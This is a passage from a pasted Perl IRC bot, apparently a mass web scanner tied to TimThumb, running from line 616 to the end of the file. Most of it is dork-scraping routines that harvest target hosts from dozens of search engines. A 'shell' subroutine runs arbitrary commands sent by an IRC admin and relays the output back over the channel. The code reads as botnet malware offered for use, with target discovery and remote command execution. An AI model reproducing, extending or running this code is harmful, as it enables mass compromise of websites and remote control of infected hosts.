  616. if ($res !~ m/<span class=\"next\">pr&#243;xima<\/span>/){$i=500;}
  617. while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
  618. if ($1 !~ /uol\.com/) {
  619. my $link = $1;
  620. my @grep = &links($link);
  621. push(@list,@grep);
  622. }
  623. }
  624. }
  625. return @list;
  626. }
  627.  
  628. sub bing() {
  629. my @list;
  630. my $key = $_[0];
  631. for (my $i=1; $i<=500; $i+=10) {
  632. my $search = ("http://www.bing.com/search?q=".&key($key)."&filt=all&first=".$i."&FORM=PERE");
  633. my $res = &search_engine_query($search);
  634. if ($res =~ m/Ref A:/g && $res =~ m/Ref B:/g && $res =~ m/Ref C:/g) {$i=500;}
  635. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  636. if ($1 !~ /bing\.com/) {
  637. my $link = $1;
  638. my @grep = &links($link);
  639. push(@list,@grep);
  640. }
  641. }
  642. }
  643. return @list;
  644. }
  645.  
  646. sub altavista() {
  647. my @list;
  648. my $key = $_[0];
  649. for (my $i=1; $i<=500; $i+=10){
  650. my $search = ("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".&key($key)."&stq=".$i);
  651. my $res = &search_engine_query($search);
  652. if ($res !~ /target=\"_self\">Succ/) {$i=500;}
  653. while ($res =~ m/<span class=ngrn>(.+?)\//g) {
  654. if ($1 !~ /altavista/){
  655. my $link = $1;
  656. $link =~ s/<//g;
  657. $link =~ s/ //g;
  658. my @grep = &links($link);
  659. push(@list,@grep);
  660. }
  661. }
  662. }
  663. return @list;
  664. }
  665.  
  666. sub ask() {
  667. my @list;
  668. my $key = $_[0];
  669. for (my $i=1; $i<=50; $i+=1) {
  670. my $search = ("http://it.ask.com/web?q=".&key($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all");
  671. my $res = &search_engine_query($search);
  672. if ($res !~ /Successiva/) {$i=50;}
  673. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
  674. if ($1 !~ /ask\.com/){
  675. my $link = $1;
  676. my @grep = &links($link);
  677. push(@list,@grep);
  678. }
  679. }
  680. }
  681. return @list;
  682. }
  683.  
  684. sub yahoo(){
  685. my @list;
  686. my $key = $_[0];
  687. my $b = 0;
  688. for ($b=1; $b<=500; $b+=10) {
  689. my $search = ("http://search.yahoo.com/search?p=".&key($key)."&b=".$b);
  690. my $res = &search_engine_query($search);
  691. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  692. if ($1 !~ /yahoo\.com/){
  693. my $link = $1;
  694. my @grep = &links($link);
  695. push(@list,@grep);
  696. }
  697. }
  698. }
  699. return @list;
  700. }
  701.  
  702. sub clusty() {
  703. my @list;
  704. my $key = $_[0];
  705. my $b = 0;
  706. for ($b=10; $b<=500; $b+=10) {
  707. my $search = ("http://search.yippy.com/search?query=".&key($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
  708. my $res = &search_engine_query($search);
  709. if ($res !~ /next/) {$b=500;}
  710. while ($res =~ m/<div class=\"document-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) {
  711. if ($1 !~ /yippy\.com/){
  712. my $link = $1;
  713. my @grep = &links($link);
  714. push(@list,@grep);
  715. }
  716. }
  717. }
  718. return @list;
  719. }
  720.  
  721. sub gutser() {
  722. my @list;
  723. my $key = $_[0];
  724. for ($b=1; $b<=50; $b+=1) {
  725. my $search = ("http://www.goodsearch.com/Search.aspx?Keywords=".&key($key)."&page=".$b."&osmax=0");
  726. my $res = &search_engine_query($search);
  727. while ($res =~ m/http:\/\/([^>\"]*)\">/g) {
  728. if ($1 !~ /goodsearch|good\.is|w3\.org|quantserve/){
  729. my $link = $1;
  730. my @grep = &links($link);
  731. push(@list,@grep);
  732. }
  733. }
  734. }
  735. return @list;
  736. }
  737.  
  738. sub google2() {
  739. my @list;
  740. my $key = $_[0];
  741. my $b = 0;
  742. my @doms =
  743. ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.c
  744. k","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu
  745. ","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.
  746. mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru",
  747. "rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","co
  748. m.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
  749. foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
  750. for ($b=1; $b<=200; $b+=10) {
  751. my $search = ("http://www.google.".$dom."/search?num=50&q=".&key($key)."&start=".$b."&sa=N");
  752. my $res = &search_engine_query($search);
  753. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  754. if ($1 !~ /google/){
  755. my $link = $1;
  756. my @grep = &links($link);
  757. push(@list,@grep);
  758. }
  759. }
  760. } return @list;
  761. }
  762. }
  763.  
  764. sub exalead() {
  765. my @list;
  766. my $key = $_[0];
  767. for ($b=0; $b<=1000; $b+=100) {
  768. my $search = ("http://www.exalead.com/search/web/results/?q=".&key($key)."&elements_per_page=100&start_index=".$b);
  769. my $res = &search_engine_query($search);
  770. if ($res =~ m/<span id=\"topNextUrl\">/g) {$b=1000;}
  771. while ($res =~ m/<a class=\"thumbnail\" href=\"http:\/\/(.*?)\"/g) {
  772. my $link = $1;
  773. if ($link!~ /exalead/){
  774. my @grep = &links($link);
  775. push(@list,@grep);
  776. }
  777. }
  778. }
  779. return @list;
  780. }
  781.  
  782. sub lycos() {
  783. my @list;
  784. my $key = $_[0];
  785. for ($b=0; $b<=50; $b+=1) {
  786. my $search = ("http://search.lycos.com/?query=".&key($key)."&page2=".$b."&tab=web&searchArea=web&diktfc=468007302EF7DB9AFE53D4138B848E7B4000D424385F");
  787. my $res = &search_engine_query($search);
  788. while ($res =~ m/href=\"http:\/\/(.+?)\" onmouseover=/g) {
  789. if ($1 !~ /lycos\.com/){
  790. my $link = $1;
  791. my @grep = &links($link);
  792. push(@list,@grep);
  793. }
  794. }
  795. }
  796. return @list;
  797. }
  798.  
  799. sub virgilio() {
  800. my @list;
  801. my $key = $_[0];
  802. for ($b=10; $b<=1000; $b+=100) {
  803. my $search = ("http://ricerca.virgilio.it/ricerca?qs=".&key($key)."&filter=1&site=&lr=&hits=100&offset=".$b);
  804. my $res = &search_engine_query($search);
  805. while ($res =~ m/http:\/\/(.+?)\//g) {
  806. if ($1 !~ /\.virgilio\.it/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  807. }
  808. }
  809. }
  810. return @list;
  811. }
  812.  
  813. sub webde() {
  814. my @list;
  815. my $key = $_[0];
  816. for ($b=1; $b<=50; $b+=1) {
  817. my $search = ("http://suche.web.de/search/web/?pageIndex=".$b."&su=".&key($key)."&search=Suche&webRb=countryDE");
  818. my $res = &search_engine_query($search);
  819. if ($res =~ m/Suchbegriff nicht gefunden/i) {$b=50;}
  820. while ($res =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g) {
  821. my $link = $1;
  822. if ($link!~ /suche|web/){
  823. my @grep = &links($link);
  824. push(@list,@grep);
  825. }
  826. }
  827. }
  828. return @list;
  829. }
  830.  
  831. sub hotbot() {
  832. my @list;
  833. my $key = $_[0];
  834. for ($b=0; $b<=50; $b+=1) {
  835. my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
  836. my $res = &search_engine_query($search);
  837. if ($res =~ m/had no web result/i) {$b=50;}
  838. while ($res =~ m/rel=\"nofollow\" href=\"http:\/\/(.+?)\"/g) {
  839. if ($1 !~ /hotbot\.com/){
  840. my $link = $1;
  841. my @grep = &links($link);
  842. push(@list,@grep);
  843. }
  844. }
  845. }
  846. return @list;
  847. }
  848.  
  849. sub aol() {
  850. my @list;
  851. my $key = $_[0];
  852. for ($b=2; $b<=50; $b+=1) {
  853. my $search = ("http://aim.search.aol.com/aol/search?q=".&key($key)."&page=".$b);
  854. my $res = &search_engine_query($search);
  855. while ($res =~ m/href=\"http:\/\/(.*?)\" property/g) {
  856. if ($1 !~ /aol\.com/){
  857. my $link = $1;
  858. my @grep = &links($link);
  859. push(@list,@grep);
  860. }
  861. }
  862. }
  863. return @list;
  864. }
  865.  
  866. sub sapo(){
  867. my @list;
  868. my $key = $_[0];
  869. for ($b=1; $b<=50; $b+=1) {
  870. my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".&key($key)."&st=local");
  871. my $res = &search_engine_query($search);
  872. if ($res !~ m/Next/i) {$b=50;}
  873. while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  874. if ($1 !~ /\.sapo\.pt/){
  875. my $link = $1;
  876. my @grep = &links($link);
  877. push(@list,@grep);
  878. }
  879. }
  880. }
  881. return @list;
  882. }
  883.  
  884. sub duck() {
  885. my @list;
  886. my $key = $_[0];
  887. my $b = 0;
  888. for ($b=1; $b<=50; $b+=1) {
  889. my $search = ("http://duckduckgo.com/html/?q=".&key($key)."&t=A&l=en&p=1&s=".$b."&o=json&dc=".$b."&api=d.js");
  890. my $res = &search_engine_query($search);
  891. if ($res =~ m/No more results/i) {$b=50;}
  892. while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  893. if ($1 !~ /duckduckgo/){
  894. my $link = $1;
  895. my @grep = &links($link);
  896. push(@list,@grep);
  897. }
  898. }
  899. }
  900. return @list;
  901. }
  902.  
  903. sub lygo() {
  904. my @list;
  905. my $key = $_[0];
  906. my $b = 0;
  907. for ($b=0; $b<=50; $b+=1) {
  908. my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=lygo&page2=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
  909. my $res = &search_engine_query($search);
  910. if ($res =~ m/had no web result/i) {$b=50;}
  911. while ($res =~ m/<a href=\"http:\/\/(.+?)\"><img/g) {
  912. if ($1 !~ /hotbot\.com/){
  913. my $link = $1;
  914. my @grep = &links($link);
  915. push(@list,@grep);
  916. }
  917. }
  918. }
  919. return @list;
  920. }
  921.  
  922. sub yause() {
  923. my @list;
  924. my $key = $_[0];
  925. my $b = 0;
  926. for ($b=1; $b<=50; $b+=1) {
  927. my $search = ("http://www.yauba.com/?query=".&key($key)."&where=websites&target=websites&con=y&ilang=english&clt=topic&pg=".$b);
  928. my $res = &search_engine_query($search);
  929. if ($res !~ m/Next/i) {$b=50;}
  930. while ($res =~ m/<h1><a rel=\"nofollow\" href=\"http:\/\/(.+?)\" onfocus=/g) {
  931. if ($1 !~ /yauba\.com/){
  932. my $link = $1;
  933. my @grep = &links($link);
  934. push(@list,@grep);
  935. }
  936. }
  937. }
  938. return @list;
  939. }
  940.  
  941. sub baidu() {
  942. my @list;
  943. my $key = $_[0];
  944. my $b = 0;
  945. for ($b=0; $b<=1000; $b+=100) {
  946. my $search = ("http://www.baidu.com/s?wd=".&key($key)."&pn=".$b);
  947. my $res = &search_engine_query($search);
  948. while ($res =~ m/href=\"http:\/\/(.+?)\//g) {
  949. if ($1 !~ /baidu\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  950. }
  951. }
  952. }
  953. return @list;
  954. }
  955.  
  956. sub kipot() {
  957. my @list;
  958. my $key = $_[0];
  959. my $b = 0;
  960. for ($b=1; $b<=50; $b+=1) {
  961. my $search = ("http://www.qkport.com/".$b."/web/".&key($key));
  962. my $res = &search_engine_query($search);
  963. while ($res =~ m/href=\"http:\/\/(.*?)\" target=\"_top\"/g) {
  964. if ($1 !~ /qkport\.com/){
  965. my $link = $1;
  966. my @grep = &links($link);
  967. push(@list,@grep);
  968. }
  969. }
  970. }
  971. return @list;
  972. }
  973.  
  974. sub gibla() {
  975. my @list;
  976. my $key = $_[0];
  977. my $hal = "/search?q=".&key($key);
  978. my $search = ("http://www.gigablast.com".$hal);
  979. my $res = &search_engine_query($search);
  980. while ($res =~ m/Next 10 Results/) {
  981. $search = ("http://www.gigablast.com".$hal);
  982. while ($res =~ m/<span class=\"url\">(.+?)><\/span>/g) {
  983. my $link = $1;
  984. my @grep = &links($link);
  985. push(@list,@grep);
  986. }
  987. if ($res =~ m/<center><a href=\"(.*?)\">/) { $hal = $1; }
  988. $res = &search_engine_query($search);
  989. }return @list;
  990. }
  991.  
  992. sub black() {
  993. my @list;
  994. my $key = $_[0];
  995. my $b = 0;
  996. for ($b=0; $b<=50; $b+=1) {
  997. my $search = ("http://blekko.com/ws/".&key($key)."?ft=&p=".$b);
  998. my $cek = $b+1;
  999. my $res = &search_engine_query($search);
  1000. if ($res !~ m/<strong>$b<\/strong>/i) {$b=50;}
  1001. while ($res =~ m/class=\"UrlTitleLine\" href=\"http:\/\/(.+?)\"/g) {
  1002. if ($1 !~ /blekko/){
  1003. my $link = $1;
  1004. my @grep = &links($link);
  1005. push(@list,@grep);
  1006. }
  1007. }
  1008. }
  1009. return @list;
  1010. }
  1011.  
  1012. sub onet() {
  1013. my @list;
  1014. my $key = $_[0];
  1015. my $b = 0;
  1016. for ($b=1; $b<=50; $b+=1) {
  1017. my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".&key($key));
  1018. my $res = &search_engine_query($search);
  1019. while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  1020. if ($1 !~ /webcache|query/){
  1021. my $link = $1;
  1022. my @grep = &links($link);
  1023. push(@list,@grep);
  1024. }
  1025. }
  1026. }
  1027. return @list;
  1028. }
  1029.  
  1030. sub sizuka() {
  1031. my @list;
  1032. my $key = $_[0];
  1033. my $b = 0;
  1034. for ($b=10; $b<=100; $b+=10) {
  1035. my $search = ("http://www.szukacz.pl/szukaj.aspx?ct=polska&pc=polska&q=".&key($key)."&start=".$b);
  1036. my $res = &search_engine_query($search);
  1037. while ($res =~ m/<a title=\"http:\/\/(.+?)\"/g) {
  1038. if ($1 !~ /szukacz/){
  1039. my $link = $1;
  1040. my @grep = &links($link);
  1041. push(@list,@grep);
  1042. }
  1043. }
  1044. }
  1045. return @list;
  1046. }
  1047.  
  1048. sub walla() {
  1049. my @list;
  1050. my $key = $_[0];
  1051. my $b = 0;
  1052. for ($b=0; $b<=50; $b+=1) {
  1053. my $search = ("http://search.walla.co.il/?t=0&e=utf&q=".&key($key)."&p=".$b);
  1054. my $res = &search_engine_query($search);
  1055. while ($res =~ m/<td class=sw><a href=\"http:\/\/(.+?)\"/g) {
  1056. if ($1 !~ /walla\.co\.il/){
  1057. my $link = $1;
  1058. my @grep = &links($link);
  1059. push(@list,@grep);
  1060. }
  1061. }
  1062. }
  1063. return @list;
  1064. }
  1065.  
  1066. sub demos() {
  1067. my @list;
  1068. my $key = $_[0];
  1069. my $b = 0;
  1070. for ($b=0; $b<=500; $b+=10) {
  1071. my $search = ("http://search.dmoz.org/search/search?q=".&key($key)."&start=".$b."&type=next&all=yes");
  1072. my $res = &search_engine_query($search);
  1073. while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  1074. if ($1 !~ /search|dmoz/){
  1075. my $link = $1;
  1076. my @grep = &links($link);
  1077. push(@list,@grep);
  1078. }
  1079. }
  1080. }
  1081. return @list;
  1082. }
  1083.  
  1084. sub rose() {
  1085. my @list;
  1086. my $key = $_[0];
  1087. my $b = 0;
  1088. my @langs = ("de","nl","fi","ps","da","en","es","fr","it","no","sv","cs","pl","ru");
  1089. foreach my $language (@langs) { $lang = $langs[rand(scalar(@langs))];
  1090. for ($b=0; $b<=30; $b+=10) {
  1091. my $search = ("http://euroseek.com/system/search.cgi?language=".$lang."&mode=internet&start=".$b."&string=".&key($key));
  1092. my $res = &search_engine_query($search);
  1093. while ($res =~ m/<a href=\"http:\/\/(.+?)\" class=/g) {
  1094. if ($1 !~ /euroseek/){
  1095. my $link = $1;
  1096. my @grep = &links($link);
  1097. push(@list,@grep);
  1098. }
  1099. }
  1100. }
  1101. }return @list;
  1102. }
  1103.  
  1104. sub seznam() {
  1105. my @list;
  1106. my $key = $_[0];
  1107. for ($b=1; $b<=500; $b+=10) {
  1108. my $search = ("http://search.seznam.cz/?q=".&key($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
  1109. my $res = &search_engine_query($search);
  1110. while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
  1111. if ($1 !~ /seznam/){
  1112. my $link = $1;
  1113. my @grep = &links($link);
  1114. push(@list,@grep);
  1115. }
  1116. }
  1117. }
  1118. return @list;
  1119. }
  1120.  
  1121. sub tiscali() {
  1122. my @list;
  1123. my $key = $_[0];
  1124. for ($b=0; $b<=500; $b+=10) {
  1125. my $search = ("http://search.tiscali.it/?tiscalitype=web&collection=web&start=".$b."&q=".&key($key));
  1126. my $res = &search_engine_query($search);
  1127. while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
  1128. if ($1 !~ /tiscali/){
  1129. my $link = $1;
  1130. my @grep = &links($link);
  1131. push(@list,@grep);
  1132. }
  1133. }
  1134. }
  1135. return @list;
  1136. }
  1137.  
  1138. sub naver() {
  1139. my @list;
  1140. my $key = $_[0];
  1141. for ($b=1; $b<=500; $b+=10) {
  1142. my $search = ("http://web.search.naver.com/search.naver?where=webkr&query=".&key($key)."&docid=0&#9001;=all&f=&srcharea=all&st=s&fd=2&start=".$b."&display=10");
  1143. my $res = &search_engine_query($search);
  1144. while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  1145. if ($1 !~ /naver/){
  1146. my $link = $1;
  1147. my @grep = &links($link);
  1148. push(@list,@grep);
  1149. }
  1150. }
  1151. }
  1152. return @list;
  1153. }
  1154.  
  1155. sub clix(){
  1156. my @list;
  1157. my $key = $_[0];
  1158. for($b=1;$b<=1000;$b+=100){
  1159. my $Th=("http://pesquisa.clix.pt/resultado.html?question=".key($key)."&in=Mundial&num=25&ckWhere=Mundo&position=".$b."");
  1160. my $Res=&search_engine_query($Th);
  1161. while($Res =~ m/http:\/\/(.+?)\//g){
  1162. my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  1163. }
  1164. }
  1165. return @list;
  1166. }
  1167.  
  1168. sub search66(){
  1169. my @list;
  1170. my $key = $_[0];
  1171. for($b=10;$b<=1000;$b+=100){
  1172. my $Th=("http://search.search66.com/?query=".key($key)."&start=".$b."&offset=20&lang=ENG");
  1173. my $Res=&search_engine_query($Th);
  1174. while($Res =~ m/http:\/\/(.+?)\//g){
  1175. my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  1176. }
  1177. }
  1178. return @list;
  1179. }
  1180.  
  1181. sub biglobe(){
  1182. my @list;
  1183. my $key = $_[0];
  1184. for($b=10;$b<=1000;$b+=100){
  1185. my $Th=("http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=25&q=".key($key)."&lr=all");
  1186. my $Res=&search_engine_query($Th);
  1187. while($Res =~ m/http:\/\/(.+?)\//g){
  1188. my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  1189. }
  1190. }
  1191. return @list;
  1192. }
  1193.  
  1194. sub interia() {
  1195. my @list;
  1196. my $key = $_[0];
  1197. for ($i = 0;$i<= 1000; $i+= 100) {
  1198. my $search = ( "http://www.google.interia.pl/szukaj?q=".&key($key)."&s=szukaj&w=sw&szukaj=&p=".$i);
  1199. my $res = &search_engine_query($search);
  1200. while ($res =~ m/http:\/\/(.+?)\/(.*)<\/a>/g) {
  1201. my $link = $1; if ($link!~ /google|interia/) { $link =~ s/<//g; $link =~ s/ //g; my @grep=links($link); push(@list,@grep);
  1202. }
  1203. }
  1204. }
  1205. return @list;
  1206. }
  1207.  
  1208. sub pagina(){
  1209. my @list;
  1210. my $key = $_[0];
  1211. my $i = 0;
  1212. for ($i=0; $i<=100; $i+=1){
  1213. my $web=("http://startgoogle.startpagina.nl/index.php?q=".key($key)."&start=".$i."&origin=homepage&source=geentaal");
  1214. my $Res= search_engine_query($web);
  1215. while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1216. if ($1 !~ /pagina|pagina's/){
  1217. my $k=$1;
  1218. my @grep=links($k);
  1219. push(@list,@grep);
  1220. }
  1221. }
  1222. }
  1223. return @list;
  1224. }
  1225.  
  1226. #########################################
  1227.  
  1228. sub clean() {
  1229. my @cln = ();
  1230. my %visit = ();
  1231. foreach my $element (@_) {
  1232. $element =~ s/\/+/\//g;
  1233. next if $visit{$element}++;
  1234. push @cln, $element;
  1235. }
  1236. return @cln;
  1237. }
  1238.  
  1239. sub key() {
  1240. my $dork = $_[0];
  1241. $dork =~ s/ /\+/g;
  1242. $dork =~ s/:/\%3A/g;
  1243. $dork =~ s/\//\%2F/g;
  1244. $dork =~ s/\?/\%3F/g;
  1245. $dork =~ s/&/\%26/g;
  1246. $dork =~ s/\"/\%22/g;
  1247. $dork =~ s/,/\%2C/g;
  1248. $dork =~ s/\\/\%5C/g;
  1249. $dork =~ s/@/\%40/g;
  1250. $dork =~ s/\[/\%5B/g;
  1251. $dork =~ s/\]/\%5D/g;
  1252. $dork =~ s/\?/\%3F/g;
  1253. $dork =~ s/\=/\%3D/g;
  1254. $dork =~ s/\|/\%7C/g;
  1255. return $dork;
  1256. }
  1257.  
  1258. sub links() {
  1259. my @list;
  1260. my $link = $_[0];
  1261. my $host = $_[0];
  1262. my $hdir = $_[0];
  1263. $hdir =~ s/(.*)\/[^\/]*$/$1/;
  1264. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1265. $host .= "/";
  1266. $link .= "/";
  1267. $hdir .= "/";
  1268. $host =~ s/\/\//\//g;
  1269. $hdir =~ s/\/\//\//g;
  1270. $link =~ s/\/\//\//g;
  1271. push(@list,$link,$host,$hdir);
  1272. return @list;
  1273. }
  1274.  
  1275. sub search_engine_query($) {
  1276. my $url = $_[0];
  1277. $url =~ s/http:\/\///;
  1278. my $host = $url;
  1279. my $query = $url;
  1280. my $page = "";
  1281. $host =~ s/href=\"?http:\/\///;
  1282. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1283. $query =~ s/$host//;
  1284. if ($query eq "") { $query = "/"; }
  1285. eval {
  1286. my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  1287. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n";
  1288. my @pages = <$sock>;
  1289. $page = "@pages";
  1290. close($sock);
  1291. };
  1292. return $page;
  1293. }
  1294.  
  1295. #########################################
  1296.  
  1297. sub shell() {
  1298. my $path = $_[0];
  1299. my $cmd = $_[1];
  1300. if ($cmd =~ /cd (.*)/) {
  1301. chdir("$1") || &msg("$path","4,1No such file or directory");
  1302. return;
  1303. }
  1304. elsif ($pid = fork) { waitpid($pid, 0); }
  1305. else { if (fork) { exit; } else {
  1306. my @output = `$cmd 2>&1 3>&1`;
  1307. my $c = 0;
  1308. foreach my $output (@output) {
  1309. $c++;
  1310. chop $output;
  1311. &msg("$path","$output");
  1312. if ($c == 5) { $c = 0; sleep 2; }
  1313. }
  1314. exit;
  1315. }}
  1316. }
  1317.  
  1318. sub isAdmin() {
  1319. my $status = 0;
  1320. my $nick = $_[0];
  1321. if ($nick eq $admin) { $status = 1; }
  1322. return $status;
  1323. }
  1324.  
  1325. sub msg() {
  1326. return unless $#_ == 1;
  1327. sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  1328. }
  1329.  
  1330. sub nick() {
  1331. return unless $#_ == 0;
  1332. sendraw("NICK $_[0]");
  1333. }
  1334.  
  1335. sub notice() {
  1336. return unless $#_ == 1;
  1337. sendraw("NOTICE $_[0] :$_[1]");
  1338. }
  1339. #[@]#####################=-!-=#######################[@]#
  1340. # !| Timthumb version 1.02 |! #
  1341. #[@]#####################=-IRH-=#####################[@]#
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement